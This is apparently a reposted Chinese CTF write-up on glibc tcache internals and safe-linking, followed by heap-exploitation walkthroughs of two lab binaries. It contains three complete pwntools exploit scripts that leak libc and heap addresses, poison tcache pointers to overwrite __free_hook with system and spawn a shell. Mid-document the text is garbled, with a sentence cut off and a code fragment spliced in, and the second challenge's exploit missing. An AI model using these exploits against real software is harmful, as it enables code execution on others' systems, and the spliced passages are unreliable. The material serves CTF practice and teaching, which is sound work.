Tcache的结构
我们看看libc2.31的源码其相关的定义- #if USE_TCACHE
- /* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */#字面意思
- # define TCACHE_MAX_BINS 64
- # define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
- /* We overlay this structure on the user-data portion of a chunk when
- the chunk is stored in the per-thread cache. */#意思大概就是他利用释放后堆块的内存去储存这个结构,不会新调用内存
- typedef struct tcache_entry
- {
- struct tcache_entry *next;
- /* This field exists to detect double frees. */#和字面意思一样,这个key值防止double free
- struct tcache_perthread_struct *key;
- } tcache_entry;
- /* There is one of these for each thread, which contains the
- per-thread cache (hence "tcache_perthread_struct"). Keeping
- overall size low is mildly important. Note that COUNTS and ENTRIES
- are redundant (we could have just counted the linked list each
- time), this is for performance reasons. */#重要的应该就是这个tcache是每个线程都有一个吧,其他的应该是字面意思
- typedef struct tcache_perthread_struct
- {
- uint16_t counts[TCACHE_MAX_BINS];
- tcache_entry *entries[TCACHE_MAX_BINS];
- } tcache_perthread_struct;
- static __thread bool tcache_shutting_down = false;
- static __thread tcache_perthread_struct *tcache = NULL;
复制代码 TCACHE_MAX_BINS这个宏大小被定义为64,也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小,0x40个uint16_t数组大小是0x80,有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240,区别在count的定义上,之前的类型是char)个可写内存,实际的堆块大小应该是0x290,下面我们看看这个tcache结构是放在哪的。- static void
- tcache_init(void)
- {
- mstate ar_ptr;
- void *victim = 0;
- const size_t bytes = sizeof (tcache_perthread_struct);#tcache结构的大小给了bytes
- if (tcache_shutting_down)
- return;
- arena_get (ar_ptr, bytes);#获取一个可用的 arena
- victim = _int_malloc (ar_ptr, bytes);#分配对应大小的内存,也就是0x290
- if (!victim && ar_ptr != NULL)#如果第一次分配失败就再试一次
- {
- ar_ptr = arena_get_retry (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- }
- if (ar_ptr != NULL)
- __libc_lock_unlock (ar_ptr->mutex);
- /* In a low memory situation, we may not be able to allocate memory
- - in which case, we just keep trying later. However, we
- typically do this very early, so either there is sufficient
- memory, or there isn't enough memory to do non-trivial
- allocations anyway. */#字面意思
- if (victim)
- {
- tcache = (tcache_perthread_struct *) victim;#把对应内存的指针给tcache
- memset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零
- }
- }
复制代码 再后面的部分我就先用宏观的角度讲讲吧,先不结合源码讲了,tcache的链表的堆块大小从0x20一直到0x410,一共0x40个堆块,符合我们在上面看见的宏定义,如果大于这个范围那就不会进tcache,并且每个链表的堆块最大只有7个,比如0x20个堆块,他最多储存7个0x20大小的堆,剩下如果还有,那就不会进tcache。另外还要注意的就是,在libc2.41之前calloc申请堆块是不会走tcache的,也就是如果calloc申请堆块,他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)
其他特性基本与fastbin相同,单向链表,先进后出,头插法。要注意的就是在libc2.28之前tcache没有那个key值,所以可以随意double free,后面再关键一点的转变就是2.32的safelinking机制了,safelinking简单来说就是对next指针进行了加密,不能直接改成堆/目标地址了,他的加密过程的代码如下- #define PROTECT_PTR(pos, ptr) \
- ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
复制代码 就是加密值 = next原本指向的地址 ^ (next指针的地址>> 12)next原本应该指向的地址就是下一个堆块的地址,所以在有safelinking的时候我们攻击就还需要泄露堆地址。
攻击
攻击有两种大方向,第一种是通过uaf,堆溢出,off by one/null + overlap直接改next指针,在libc2.32前我们只需要free大小相同的堆块a,free堆块b然后修改b堆块的next指针改成目标地址即可,不需要在目标地址伪造堆块,而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时,因为他只检测第一个堆块的合法性,没有检查其他堆块,所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击
polarctf-unk
因为这题漏洞很多就拿来练手了可以去靶场下载,去pwn那个方向搜一下就好(远程是2.23)PolarD&N,我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf,有堆溢出,可以show,以及随意申请任意大小的堆块。我把反编译的代码贴出来。- int __fastcall main(int argc, const char **argv, const char **envp)
- {
- setbuf(stdin, 0);
- setbuf(stdout, 0);
- setbuf(stderr, 0);
- while ( 1 )
- {
- menu();
- switch ( get_num() )
- {
- case 1:
- add_chunk();
- break;
- case 2:
- delete_chunk();
- break;
- case 3:
- edit_chunk();
- break;
- case 4:
- show_chunk();
- break;
- case 5:
- exit(0);
- default:
- puts("invalid choice.");
- break;
- }
- }
复制代码 menu就是打印一些提示- int __cdecl get_num()
- {
- char buf[24]; // [rsp+0h] [rbp-20h] BYREF
- unsigned __int64 v2; // [rsp+18h] [rbp-8h]
- v2 = __readfsqword(0x28u);
- read(0, buf, 0x10u);
- return atoi(buf);
- }
- void __cdecl add_chunk()
- {
- int index; // [rsp+8h] [rbp-8h]
- int size; // [rsp+Ch] [rbp-4h]
- puts("index:");
- index = get_num();
- puts("size:");
- size = get_num();
- chunk_list[index] = (char *)malloc(size);
- }
- void __cdecl delete_chunk()
- {
- int index; // [rsp+Ch] [rbp-4h]
- puts("index:");
- index = get_num();
- free(chunk_list[index]);
- }
- void __cdecl edit_chunk()
- {
- int index; // [rsp+8h] [rbp-8h]
- int length; // [rsp+Ch] [rbp-4h]
- puts("index:");
- index = get_num();
- puts("length:");
- length = get_num();
- puts("content:");
- read(0, chunk_list[index], length);
- }
- void __cdecl show_chunk()
- {
- int index; // [rsp+Ch] [rbp-4h]
- puts("index:");
- index = get_num();
- puts(chunk_list[index]);
- }
复制代码 思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址,然后free一个堆块,free第二个堆块,改第二个堆块的next指针为freehook,申请两下申请到freehook的地址,然后往一个堆块里写一个/bin/sh\x00字符串,free掉这个堆块即可getshell
我选的版本是2.31-0ubuntu9.18,exp如下:- #!/usr/bin/env python3
- from pwn import *
- import sys
- from ctypes import *
- #from pwncli import *
- # cli_script()
- #from ae64 import AE64
- #from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- # libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 0
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s).encode())
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def add(s,a):
- ru(b"choice:")
- sdr(1)
- ru(b"index:")
- sdr(s)
- ru(b"size:")
- sdr(a)
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,d):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(d)
- def show(s):
- ru(b"choice:")
- sdr(4)
- ru(b"index:")
- sdr(s)
- add(0,0x410)
- add(1,0x20)
- free(0)
- add(0,0x20)
- show(0)
- rcl()
- libcbase=u6(6)-0x1ecfd0
- ph(libcbase)
- fh=libcbase+libc.sym['__free_hook']
- sy=libcbase+libc.sym['system']
- free(0)
- free(1)
- edit(1,0x8,p64(fh))
- add(0,0x20)
- add(1,0x20)
- edit(1,8,p64(sy))
- edit(0,8,b'/bin/sh\x00')
- free(0)
- ti()
复制代码 接下来patchelf改成2.32然后再打一遍,看看safelinking怎么绕过,我选的版本是2.32-0ubuntu3_amd64,这里有两种绕过办法,因为我这里可以进unsortedbin,因为safelinking不在unsortedbin生效,所以这里我们直接就可以有堆地址,算出来偏移再^即可- #!/usr/bin/env python3
- from pwn import *
- import sys
- from ctypes import *
- #from pwncli import *
- # cli_script()
- #from ae64 import AE64
- #from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- # libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 0
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s).encode())
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def add(s,a):
- ru(b"choice:")
- sdr(1)
- ru(b"index:")
- sdr(s)
- ru(b"size:")
- sdr(a)
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,d):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(d)
- def show(s):
- ru(b"choice:")
- sdr(4)
- ru(b"index:")
- sdr(s)
- add(0,0x410)
- add(1,0x20)
- free(0)
- add(0,0x20)
- show(0)
- rcl()
- libcbase=u6(6)-0x1e3ff0
- ph(libcbase)
- edit(0,0x10,b'b'*0x10)
- show(0)
- ru(0x10*b'b')
- heap=u6(4)+0x430
- ph(heap)
- fh=libcbase+libc.sym['__free_hook']
- sy=libcbase+libc.sym['system']
- free(0)
- free(1)
- ph(fh)
- dbg()
- edit(1,0x8,p64(fh^(heap>>12)))
- add(0,0x20)
- add(1,0x20)
- edit(1,8,p64(sy))
- edit(0,8,b'/bin/sh\x00')
- free(0)
- ti()
复制代码 第二种办法就是不用unsortedbin泄露,直接用tcache泄露。只需要在第一次堆块进入之后show一次即可,为什么?因为第一次进入时第一个堆块的next指针是没值的,也就是0,0^(next指针的地址>>12)这个值就是next指针的地址>>12,我们 3 ) {LABEL_10: puts("something wrong!"); } else if ( n3 == 1 ) { add(); } else { if ( n3 != 2 ) goto LABEL_10; delete(); } }}[/code]普通的菜单,没什么好说的- #!/usr/bin/env python3
- from pwn import *
- import sys
- from ctypes import *
- #from pwncli import *
- # cli_script()
- #from ae64 import AE64
- #from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- # libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 0
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s).encode())
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def add(s,a):
- ru(b"choice:")
- sdr(1)
- ru(b"index:")
- sdr(s)
- ru(b"size:")
- sdr(a)
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,d):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(d)
- def show(s):
- ru(b"choice:")
- sdr(4)
- ru(b"index:")
- sdr(s)
- add(0,0x410)
- add(1,0x20)
- free(0)
- add(0,0x20)
- show(0)
- rcl()
- libcbase=u6(6)-0x1e3ff0
- ph(libcbase)
- fh=libcbase+libc.sym['__free_hook']
- sy=libcbase+libc.sym['system']
- free(0)
- show(0)
- rcl()
- heap=u6(3)
- ph(heap)
- free(1)
- edit(1,0x8,p64(fh^(heap)))
- add(0,0x20)
- add(1,0x20)
- edit(1,8,p64(sy))
- edit(0,8,b'/bin/sh\x00')
- free(0)
- ti()
复制代码 这个input是没有off by one/null的- int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
- {
- int n3; // eax
- init_data(argc, argv, envp);
- while ( 1 )
- {
- while ( 1 )
- {
- n3 = menu();
- if ( n3 != 3 )
- break;
- show();
- }
- if ( n3 > 3 )
- {
- LABEL_10:
- puts("something wrong!");
- }
- else if ( n3 == 1 )
- {
- add();
- }
- else
- {
- if ( n3 != 2 )
- goto LABEL_10;
- delete();
- }
- }
- }
复制代码 输入3进入show,这里看着好像有一个数组越界,但其实是没有的,可以看汇编- int menu()
- {
- char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
- unsigned __int64 v2; // [rsp+8h] [rbp-8h]
- v2 = __readfsqword(0x28u);
- puts("Ez_N0t3_B00k?");
- puts("1.add");
- puts("2.dele");
- puts("3.show");
- puts("4.exit");
- puts("plz input:");
- input(nptr, 8);
- return atoi(nptr);
- }
- __int64 __fastcall input(void *p_nptr, __int64 n8)
- {
- int v3; // [rsp+1Ch] [rbp-4h]
- v3 = read(0, p_nptr, (unsigned int)n8);
- if ( v3 < 0 )
- {
- puts("error");
- exit(-1);
- }
- return (unsigned int)v3;
- }
复制代码 这里有两个跳转第一个是JS如果为负数就会直接跳转了,所以是不能数组越界的。- __int64 show()
- {
- int n4; // [rsp+Ch] [rbp-14h]
- char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
- unsigned __int64 v3; // [rsp+18h] [rbp-8h]
- v3 = __readfsqword(0x28u);
- puts("index:");
- input(nptr, 8);
- n4 = atoi(nptr);
- if ( n4 > 4 )
- {
- puts("index error");
- exit(-1);
- }
- if ( *(&heap + n4) )
- {
- puts("content:");
- write(1, *(*(&heap + n4) + 8LL), **(&heap + n4));
- }
- else
- {
- puts("error");
- }
- return 0;
- }
复制代码 选2进入delete函数,这里乍一看也没有漏洞啊,不是很好的清零了么,确实没有简单的UAF了,然后主程序也没有其他函数了,没有edit函数。那接下来怎么办了呢?这里其实是有一个UAF漏洞的,漏洞就在他先free(*(&heap + n4));,再 free( *( *(&heap + n4) + 8LL));这就会产生一个问题,他先free掉这个结构体的地址的堆块(就先叫堆块a吧),再free掉a这个堆块bk指针位置的堆块。他忘记了一个堆块free之后,他的fd,bk指针位置的值是会被赋值的,而这个堆块a的大小是0x20,会进tcache,而我们上面讲了tcache这个结构也是一个堆块(大小是0x280),这样他就莫名其妙帮我们把tcache结构体释放了,我们如果再申请一个类似大小的堆块就可以往tcache结构体里写值,直接可以任意地址申请堆块了。但这题开了pie导致没那么简单写,但是需要注意的是,我们申请堆块不要把整个堆块的结构破坏了,不然会报错。
大题思路就是先得到堆地址,要布局一个堆块使其的指针指向tcache_perthread_struct,改tcache_perthread_struct把count改成7以上保证tcache_perthread_struct进入unsortedbin,直接show另一个堆块泄露出libc基地址,后面再改tcache_perthread_struct让0x30的链表和我们申请堆块大小的链表形成一个overlapping,然后在0x30链表的堆块上写出来一个/bin/sh\x00,再改tcache_perthread_struct前面在我们申请的堆块大小的链表上放上freehook,然后申请出来写成system,最后free我们写出来了/bin/sh\x00字符串的堆块即可getshll
exp如下- .text:0000000000001751 mov [rbp+var_14], eax
- .text:0000000000001754 cmp [rbp+var_14], 0
- .text:0000000000001758 js short loc_1760
- .text:000000000000175A cmp [rbp+var_14], 4
- .text:000000000000175E jle short loc_1776
复制代码 感觉这题还挺有意思的.
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |